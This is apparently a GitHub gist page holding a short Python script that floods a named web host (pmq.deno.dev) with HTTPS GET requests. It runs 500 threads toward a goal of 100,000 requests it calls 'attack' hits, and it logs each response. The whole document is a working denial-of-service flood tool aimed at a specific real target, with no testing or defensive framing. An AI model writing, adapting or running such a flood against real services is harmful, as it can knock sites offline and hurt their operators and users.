Skip to content

Instantly share code, notes, and snippets.

@Austinhs
Last active November 29, 2022 03:09
Show Gist options
  • Select an option

  • Save Austinhs/5aee1244a3d8492c83f6ede4034acb92 to your computer and use it in GitHub Desktop.

Select an option

Save Austinhs/5aee1244a3d8492c83f6ede4034acb92 to your computer and use it in GitHub Desktop.
import socket, ssl, threading, time
target = "pmq.deno.dev"
port = 443
attack_amount = 100000
thread_count = 500
start = time.time()
attack_completed = 0
def attack():
global attack_completed
while attack_completed < attack_amount:
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s_sock = context.wrap_socket(s, server_hostname=target)
s_sock.connect((target, port))
bytesSent = s_sock.send(("GET / HTTP/1.1\r\nHost: " + target + "\r\nAccept: text/html\r\n\r\n").encode())
response = s_sock.recv(10000)
attack_completed += 1
print("time: ", time.time() - start, "hits: ", attack_completed, " target: ", target, "sent: ", bytesSent, "response: ", len(response.decode()))
s.close()
for i in range(thread_count):
thread = threading.Thread(target=attack)
thread.start()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment